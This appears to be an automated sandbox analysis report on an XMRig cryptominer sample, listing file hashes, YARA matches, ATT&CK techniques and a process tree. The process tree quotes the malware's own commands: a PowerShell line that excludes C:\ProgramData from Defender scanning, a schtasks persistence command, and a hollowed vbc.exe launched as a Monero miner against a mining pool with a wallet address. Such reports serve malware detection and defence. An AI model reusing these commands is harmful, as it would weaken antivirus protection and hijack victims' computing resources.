xmrig | 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc

General

Target

50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
Size

739KB
MD5

0727880d70ecfc773bb170445ea156b2
SHA1

258150fb6f9788b5fa885b89efb20c64353b4b7f
SHA256

50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc
SHA512

8485c5c43ef939f85f6012a03f7a4d70e6d0f61ca760a65692b3ee1834d61b33caf6b9ce468dbe1f35688f80226e59fdc33284e4be71acdfa7318792e2e83925
SSDEEP

12288:LBvrUz3MkUSZ+ASQHuvNZ2RCBbzlgC0OqeXF6Pm++qMXmCQrt2JVrXO6eXwQ1B1w:NvrUz3MkUSZ+A3X6bxgfOqe4+qNCQp2x

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral1/memory/752-160-0x0000000140343234-mapping.dmp	xmrig
behavioral1/memory/752-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/752-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/752-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/752-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/752-167-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3764 set thread context of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5036	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2524	powershell.exe
2524	powershell.exe
3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
Token: SeDebugPrivilege	2524	powershell.exe
Token: SeLockMemoryPrivilege	752	vbc.exe
Token: SeLockMemoryPrivilege	752	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
752	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 2524	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	81
PID 3764 wrote to memory of 2524	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	81
PID 3764 wrote to memory of 3284	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	87
PID 3764 wrote to memory of 3284	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	87
PID 3284 wrote to memory of 5036	3284	cmd.exe	89
PID 3284 wrote to memory of 5036	3284	cmd.exe	89
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92
PID 3764 wrote to memory of 752	3764	50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe	92

C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
"C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
    3⤵
    - Creates scheduled task(s)
    PID:5036
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/752-163-0x000001EA8BF80000-0x000001EA8BFA0000-memory.dmp

Filesize
128KB

Download
memory/752-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/752-171-0x000001EA8D8B0000-0x000001EA8D8D0000-memory.dmp

Filesize
128KB

Download
memory/752-170-0x000001EA8D8D0000-0x000001EA8D8F0000-memory.dmp

Filesize
128KB

Download
memory/752-169-0x000001EA8D8B0000-0x000001EA8D8D0000-memory.dmp

Filesize
128KB

Download
memory/752-168-0x000001EA8D870000-0x000001EA8D8B0000-memory.dmp

Filesize
256KB

Download
memory/752-172-0x000001EA8D8D0000-0x000001EA8D8F0000-memory.dmp

Filesize
128KB

Download
memory/752-167-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/752-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/752-161-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/752-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2524-149-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

Filesize
10.8MB

Download
memory/2524-148-0x0000019A6E430000-0x0000019A6E452000-memory.dmp

Filesize
136KB

Download
memory/3764-143-0x0000000000020000-0x0000000000140000-memory.dmp

Filesize
1.1MB

Download
memory/3764-144-0x00007FFA1BF80000-0x00007FFA1C0CE000-memory.dmp

Filesize
1.3MB

Download
memory/3764-150-0x0000000000020000-0x0000000000140000-memory.dmp

Filesize
1.1MB

Download
memory/3764-146-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

Filesize
10.8MB

Download
memory/3764-134-0x00007FFA39780000-0x00007FFA3981E000-memory.dmp

Filesize
632KB

Download
memory/3764-154-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

Filesize
10.8MB

Download
memory/3764-155-0x00007FFA17490000-0x00007FFA174C5000-memory.dmp

Filesize
212KB

Download
memory/3764-156-0x00007FFA15DF0000-0x00007FFA15EF2000-memory.dmp

Filesize
1.0MB

Download
memory/3764-157-0x00007FFA38410000-0x00007FFA3847B000-memory.dmp

Filesize
428KB

Download
memory/3764-158-0x00007FFA364A0000-0x00007FFA364DB000-memory.dmp

Filesize
236KB

Download
memory/3764-145-0x00007FFA378A0000-0x00007FFA378C7000-memory.dmp

Filesize
156KB

Download
memory/3764-151-0x00000000012E0000-0x0000000001321000-memory.dmp

Filesize
260KB

Download
memory/3764-133-0x00007FFA1C2A0000-0x00007FFA1C34A000-memory.dmp

Filesize
680KB

Download
memory/3764-142-0x0000000000020000-0x0000000000140000-memory.dmp

Filesize
1.1MB

Download
memory/3764-141-0x00007FFA39940000-0x00007FFA3996B000-memory.dmp

Filesize
172KB

Download
memory/3764-138-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

Filesize
10.8MB

Download
memory/3764-165-0x0000000000020000-0x0000000000140000-memory.dmp

Filesize
1.1MB

Download
memory/3764-166-0x00007FFA1AF50000-0x00007FFA1BA11000-memory.dmp

Filesize
10.8MB

Download
memory/3764-140-0x00000000012E0000-0x0000000001321000-memory.dmp

Filesize
260KB

Download
memory/3764-139-0x0000000000020000-0x0000000000140000-memory.dmp

Filesize
1.1MB

Download
memory/3764-135-0x00007FFA34FF0000-0x00007FFA35002000-memory.dmp

Filesize
72KB

Download
memory/3764-137-0x00007FFA38B20000-0x00007FFA38CC1000-memory.dmp

Filesize
1.6MB

Download
memory/3764-136-0x00007FFA1C1E0000-0x00007FFA1C29D000-memory.dmp

Filesize
756KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads